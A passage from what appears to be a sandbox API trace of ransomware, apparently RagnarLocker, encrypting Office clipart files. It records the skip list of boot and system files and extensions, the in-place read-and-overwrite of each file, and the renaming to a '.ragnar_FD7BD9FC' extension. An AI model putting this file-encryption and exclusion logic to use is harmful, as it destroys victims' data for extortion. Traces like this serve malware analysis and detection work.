Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.536] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BOAT.WMF" | out: lpString1="BOAT.WMF") returned="BOAT.WMF" [0080.536] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned=".WMF" [0080.536] lstrcmpiW (lpString1="BOAT.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.536] lstrcmpiW (lpString1="BOAT.WMF", lpString2="autorun.inf") returned 1 [0080.536] lstrcmpiW (lpString1="BOAT.WMF", lpString2="boot.ini") returned -1 [0080.536] lstrcmpiW (lpString1="BOAT.WMF", lpString2="bootfont.bin") returned -1 [0080.536] lstrcmpiW (lpString1="BOAT.WMF", lpString2="bootsect.bak") returned -1 [0080.536] lstrcmpiW (lpString1="BOAT.WMF", lpString2="bootmgr") returned -1 [0080.536] lstrcmpiW (lpString1="BOAT.WMF", lpString2="bootmgr.efi") returned -1 [0080.536] lstrcmpiW (lpString1="BOAT.WMF", lpString2="bootmgfw.efi") returned -1 [0080.536] lstrcmpiW (lpString1="BOAT.WMF", lpString2="desktop.ini") returned -1 [0080.536] lstrcmpiW (lpString1="BOAT.WMF", lpString2="iconcache.db") returned -1 [0080.536] lstrcmpiW (lpString1="BOAT.WMF", lpString2="ntldr") returned -1 [0080.536] lstrcmpiW (lpString1="BOAT.WMF", lpString2="ntuser.dat") returned -1 [0080.536] lstrcmpiW (lpString1="BOAT.WMF", lpString2="ntuser.dat.log") returned -1 [0080.536] lstrcmpiW (lpString1="BOAT.WMF", lpString2="ntuser.ini") returned -1 [0080.537] lstrcmpiW (lpString1="BOAT.WMF", lpString2="thumbs.db") returned -1 [0080.537] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.537] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.537] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.537] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.537] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.537] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.537] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf")) returned 0x20 [0080.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.537] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3350) returned 1 [0080.537] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd0d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.537] GetProcessHeap () returned 0x580000 [0080.537] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.537] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.541] VirtualAlloc (lpAddress=0x0, dwSize=0xd16, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.541] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.541] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.541] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd16, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xd16, lpOverlapped=0x0) returned 1 [0080.541] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.541] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd16, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.541] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd16, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xd16, lpOverlapped=0x0) returned 1 [0080.541] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd16, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.541] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.542] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd16, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.542] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.542] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.542] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.542] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.542] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.542] GetProcessHeap () returned 0x580000 [0080.542] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.542] CloseHandle (hObject=0xf4) returned 1 [0080.542] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" [0080.542] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.ragnar_FD7BD9FC" [0080.542] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.546] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x714c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOATINST.WMF", cAlternateFileName="")) returned 1 [0080.546] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.546] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BOATINST.WMF" | out: lpString1="BOATINST.WMF") returned="BOATINST.WMF" [0080.546] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned=".WMF" [0080.546] lstrcmpiW (lpString1="BOATINST.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.546] lstrcmpiW (lpString1="BOATINST.WMF", lpString2="autorun.inf") returned 1 [0080.546] lstrcmpiW (lpString1="BOATINST.WMF", lpString2="boot.ini") returned -1 [0080.546] lstrcmpiW (lpString1="BOATINST.WMF", lpString2="bootfont.bin") returned -1 [0080.546] lstrcmpiW (lpString1="BOATINST.WMF", lpString2="bootsect.bak") returned -1 [0080.546] lstrcmpiW (lpString1="BOATINST.WMF", lpString2="bootmgr") returned -1 [0080.546] lstrcmpiW (lpString1="BOATINST.WMF", lpString2="bootmgr.efi") returned -1 [0080.546] lstrcmpiW (lpString1="BOATINST.WMF", lpString2="bootmgfw.efi") returned -1 [0080.546] lstrcmpiW (lpString1="BOATINST.WMF", lpString2="desktop.ini") returned -1 [0080.546] lstrcmpiW (lpString1="BOATINST.WMF", lpString2="iconcache.db") returned -1 [0080.546] lstrcmpiW (lpString1="BOATINST.WMF", lpString2="ntldr") returned -1 [0080.546] lstrcmpiW (lpString1="BOATINST.WMF", lpString2="ntuser.dat") returned -1 [0080.546] lstrcmpiW (lpString1="BOATINST.WMF", lpString2="ntuser.dat.log") returned -1 [0080.546] lstrcmpiW (lpString1="BOATINST.WMF", lpString2="ntuser.ini") returned -1 [0080.546] lstrcmpiW (lpString1="BOATINST.WMF", lpString2="thumbs.db") returned -1 [0080.546] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.546] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.546] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.546] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.546] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.546] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.547] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf")) returned 0x20 [0080.547] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.547] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=29004) returned 1 [0080.547] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7143, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.547] GetProcessHeap () returned 0x580000 [0080.547] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.547] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.549] VirtualAlloc (lpAddress=0x0, dwSize=0x714c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.550] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.550] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.550] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x714c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x714c, lpOverlapped=0x0) returned 1 [0080.551] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.552] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x714c, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.552] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x714c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x714c, lpOverlapped=0x0) returned 1 [0080.552] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x714c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.552] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.552] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x714c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.553] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.553] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.553] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.553] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.553] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.553] GetProcessHeap () returned 0x580000 [0080.553] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.553] CloseHandle (hObject=0xf4) returned 1 [0080.553] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" [0080.553] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.ragnar_FD7BD9FC" [0080.553] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.554] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77641800, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77641800, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00076_.WMF", cAlternateFileName="")) returned 1 [0080.554] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.554] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS00076_.WMF" | out: lpString1="BS00076_.WMF") returned="BS00076_.WMF" [0080.554] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned=".WMF" [0080.554] lstrcmpiW (lpString1="BS00076_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.554] lstrcmpiW (lpString1="BS00076_.WMF", lpString2="autorun.inf") returned 1 [0080.554] lstrcmpiW (lpString1="BS00076_.WMF", lpString2="boot.ini") returned 1 [0080.554] lstrcmpiW (lpString1="BS00076_.WMF", lpString2="bootfont.bin") returned 1 [0080.554] lstrcmpiW (lpString1="BS00076_.WMF", lpString2="bootsect.bak") returned 1 [0080.554] lstrcmpiW (lpString1="BS00076_.WMF", lpString2="bootmgr") returned 1 [0080.554] lstrcmpiW (lpString1="BS00076_.WMF", lpString2="bootmgr.efi") returned 1 [0080.554] lstrcmpiW (lpString1="BS00076_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.554] lstrcmpiW (lpString1="BS00076_.WMF", lpString2="desktop.ini") returned -1 [0080.554] lstrcmpiW (lpString1="BS00076_.WMF", lpString2="iconcache.db") returned -1 [0080.554] lstrcmpiW (lpString1="BS00076_.WMF", lpString2="ntldr") returned -1 [0080.554] lstrcmpiW (lpString1="BS00076_.WMF", lpString2="ntuser.dat") returned -1 [0080.555] lstrcmpiW (lpString1="BS00076_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.555] lstrcmpiW (lpString1="BS00076_.WMF", lpString2="ntuser.ini") returned -1 [0080.555] lstrcmpiW (lpString1="BS00076_.WMF", lpString2="thumbs.db") returned -1 [0080.555] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.555] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.555] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.555] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.555] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.555] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.555] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x20 [0080.556] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.556] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1330) returned 1 [0080.556] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x529, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.556] GetProcessHeap () returned 0x580000 [0080.556] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.556] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.558] VirtualAlloc (lpAddress=0x0, dwSize=0x532, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.558] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.558] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.558] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x532, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x532, lpOverlapped=0x0) returned 1 [0080.558] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.558] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x532, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.558] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x532, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x532, lpOverlapped=0x0) returned 1 [0080.559] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x532, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.559] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.559] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x532, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.559] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.559] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.559] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.559] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.559] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.559] GetProcessHeap () returned 0x580000 [0080.559] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.559] CloseHandle (hObject=0xf4) returned 1 [0080.559] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" [0080.559] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.ragnar_FD7BD9FC" [0080.559] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.560] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfadcd00, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfadcd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00078_.WMF", cAlternateFileName="")) returned 1 [0080.560] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.560] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS00078_.WMF" | out: lpString1="BS00078_.WMF") returned="BS00078_.WMF" [0080.560] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned=".WMF" [0080.560] lstrcmpiW (lpString1="BS00078_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.560] lstrcmpiW (lpString1="BS00078_.WMF", lpString2="autorun.inf") returned 1 [0080.560] lstrcmpiW (lpString1="BS00078_.WMF", lpString2="boot.ini") returned 1 [0080.560] lstrcmpiW (lpString1="BS00078_.WMF", lpString2="bootfont.bin") returned 1 [0080.560] lstrcmpiW (lpString1="BS00078_.WMF", lpString2="bootsect.bak") returned 1 